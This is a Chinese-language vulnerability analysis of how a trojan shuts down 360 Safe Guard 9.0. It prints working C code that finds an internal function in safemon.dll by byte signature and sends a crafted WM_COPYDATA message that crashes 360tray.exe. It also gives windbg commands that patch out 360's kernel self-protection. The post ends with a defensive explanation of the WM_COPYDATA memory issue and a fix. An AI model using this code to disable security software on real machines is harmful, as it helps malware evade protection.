注：本文测试环境为360安全卫士9.0，最新版的安全卫士已修复此漏洞
现象
某个木马运行后可以关闭360安全卫士，经过逆向分析发现该木马只是简单运行了以下代码：
HMODULE h360 =GetModuleHandle(TEXT(“safemon.dll”));
int i = 0;
for (i = 0; i<0x30000; i++)
{
if (memcmp((BYTE *)(h360+i), “\x83\xEC\x10\x56\x8D\x44\x24\x04\x50”,9)==0)
{
break;
}
}
if (i==0x30000)
{
return;
}
FARPROC funcGet360HWND = (FARPROC)(h360+i);
HWND hWnd = (HWND)funcGet360HWND();
COPYDATASTRUCT cpdata;
cpdata.dwData = 0x4d47534d;
cpdata.cbData = 0x1000;
cpdata.lpData = msgbuf;  //长度0x1000字节的随即数据，其中不能有连续\x00\x00
SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);
我们自己用上面代码运行之后，360安全卫士的进程（360tray.exe）就自动退出了。注意：这个程序必须是带窗口的程序，而不能使控制台程序，因为控制台程序是不加载safemon.dll的。
攻击原理
上面如此简单的代码就能导致关闭360，我们来看一下这段代码到底做了什么？首先获得safemon.dll的模块地址，每个有图形界面都会加载这个dll。然后从这个模块里找一处特征代码，经分析发现找的是以下代码：
67366570   83EC 10         sub     esp, 10
67366573   56              push    esi
67366574   8D4424 04       lea     eax, dword ptr [esp+4]
67366578   50              push    eax
67366579   6A 00           push   0
6736657B   8D4C24 10       lea     ecx, dword ptr [esp+10]
6736657F   51              push    ecx
67366580   68 40653667     push    67366540
67366585   6A 00           push    0
67366587   6A 00           push    0
67366589   C74424 20 E48D4>mov     dwordptr [esp+20], 67418DE4                   ; ASCII “Q360SafeMonClass”
67366591   C74424 24 00000>mov     dwordptr [esp+24], 0
67366599   C74424 28 00000>mov     dwordptr [esp+28], 0
673665A1   FF15 10D34067   call    dword ptr [<&KERNEL32.GetCurrentProcess>]       ; kernel32.GetCurrentProcess
673665A7   50              push    eax
673665A8   FF15 58D14067   call    dword ptr[<&KERNEL32.CreateRemoteThread>]     ; kernel32.CreateRemoteThread
673665AE   8BF0            mov     esi,eax
673665B0   85F6            test    esi, esi
673665B2   74 10           je      short 673665C4
673665B4   6A FF           push    -1
673665B6   56              push    esi
673665B7   FF15 24D14067   call    dword ptr [<&KERNEL32.WaitForSingleObject>]     ; kernel32.WaitForSingleObject
673665BD   56              push    esi
673665BE   FF15 20D34067   call    dword ptr[<&KERNEL32.CloseHandle>]            ; kernel32.CloseHandle
673665C4   8B4424 10       mov     eax, dword ptr [esp+10]
673665C8   5E              pop     esi
673665C9   83C4 10         add     esp, 10
673665CC   C3              retn
其作用就是找到Q360SafeMonClass的窗口句柄。找到这段代码后就会执行这段代码来获取该窗口句柄。为什么不直接用FindWindow来查找呢？据分析应该是360做了一些防护，直接找怕找不到。
找到这个窗口后会给他发送WM_COPYDATA消息，附带的消息COPYDATASTRUCT结构的dwData是0x4d47534d，数据长度是0×1000，内容是随机数据。
我自己写了个程序模拟上述功能后，运行成功结束了360tray的进程，证明原理是没有错的。
漏洞调试
究竟是什么原因导致360tray如此简单就被关闭呢，我决定调试一下360看，启动OD准备附加360tray进程，发现无法附加，360做了保护。要想调试360首先要把保护去掉。
用XueTr看360的内核Hook点，并尝试恢复：

恢复之后尝试OD附加仍然失败，再刷新hook点已经被恢复了，这是当然的，360也要保护自身嘛。于是windbg开双机调试，在hook点下写断点，这样当360驱动恢复这里的时候，我们把他nop掉。

然后只要

kd> eb f747ed78 c3
kd> u f747ed78
Hookport+0xcd78:
f747ed78 c3              ret
f747ed79 ff558b          call    dword ptr [ebp-75h]
f747ed7c ec              in      al,dx
f747ed7d 51              push   ecx
f747ed7e 51              push    ecx
f747ed7f 8d45fc          lea     eax,[ebp-4]
f747ed82 50              push    eax
f747ed83 ff1594ff47f7    call   dword ptr [Hookport+0xdf94 (f747ff94)]
kd> g

这时候只要再恢复内核hook点，360就哑巴了，然后成功用OD附加360tray进程：

漏洞原理

经过调试发现，导致360出错退出的地方在360safemonpro.tpi这个模块里inline编译的vsnwprintf，从这里调用：

其中va_list参数里有我们WM_COPYDATA消息传进去的数据，然后在里面进入_woutput_l的时候出错了：

对应的源代码是：
output.c
/*textlen now contains length in multibyte chars */
} else{
if(text.wz== NULL) /* NULLpassed, use special string */
text.wz = __wnullstring;
bufferiswide= 1;
pwch= text.wz;
while(i– && *pwch)  //这里出错了
++pwch;
textlen= (int)(pwch- text.wz);       /* in wchar_ts*/
/*textlen now contains length in wide chars */
}
看起来360的用法是没有错的，这里不存在溢出之类的漏洞，我分析认为这是微软挖的一个坑，360不幸掉进去了，对WM_COPYDATA的数据处理不当回导致访问未映射的内存。
以下是来自网上的WM_COPYDATA数据传递的原理：
跨线程的WM_COPYDATA没有使用共享内存，反而复制了两次数据
发送者SendMessage->xxxSendMessageTimeout->xxxInterSendMsgEx(UserAllocPoolWithQuota分配内核内存，将用户数据复制到内核空间)->SetWakeBit唤醒接受者->SetWakeBit等待应答
接受者xxxReceiveMessage->XXXSENDMESSAGETOCLIENT(宏)->ScSendMessageSMS(也是宏)->SfnCOPYDATA(sender side)->CaptureCallbackData(把数据从内核空间复制到用户空间)->KeUserModeCallback(转到用户模式)->SfnCOPYDATA(receiver side)->窗口过程->回到内核模式，应答发送者………..
?
所以传递的数据并不是一块新分配的heap，而0×1000为单位长度映射的内存空间，是一块没头没尾的空间，一旦使用一些字符串操作函数直接访问这块空间，很容易造成越界访问到没映射的内存里。
??为了证实这个理论，我们可以自己写一个WM_COPYDATA的是以消息处理函数，模拟漏洞的产生过程：????
BOOL CrecvDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
wchar_t buf[0x2000]={0};
_snwprintf(buf, 0x2000, L”url=%s”, pCopyDataStruct->lpData);
return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}
这段代码看上去是没什么问题的，直接把传进来的lpData当做字符串来处理。我们再写一个发送函数：
HWND hWnd=FindWindowA(“#32770″,”recv”);
if (hWnd)
{
int len=0x1000; //这一定要是0x1000的整数倍
char*buf=new char[len];
memset(buf, 0x41, len);
COPYDATASTRUCTcpdata;
cpdata.dwData = 0x4d47534d;
cpdata.cbData = len;
cpdata.lpData = buf;
SendMessage(hWnd, WM_COPYDATA,NULL, (LPARAM)&cpdata);
delete[] buf;
}
运行发送消息后，接收消息的程序报错了，出错点就是刚才分析的地方。

总结

严格意义上讲，导致360被结束的这个问题应该不算一个漏洞，而是由于微软没对使用COPYDATASTRUCT.lpData的内存做一些要求，正常的库函数访问的时候就可能导致出错。要安全使用COPYDATASTRUCT.lpData，应该把这块内存先拷贝出来，然后再进行操作。

另一方面，这个漏洞为我们指引了寻找360漏洞的方向，凡是有用户能控制输入的地方都有可能存在此类漏洞。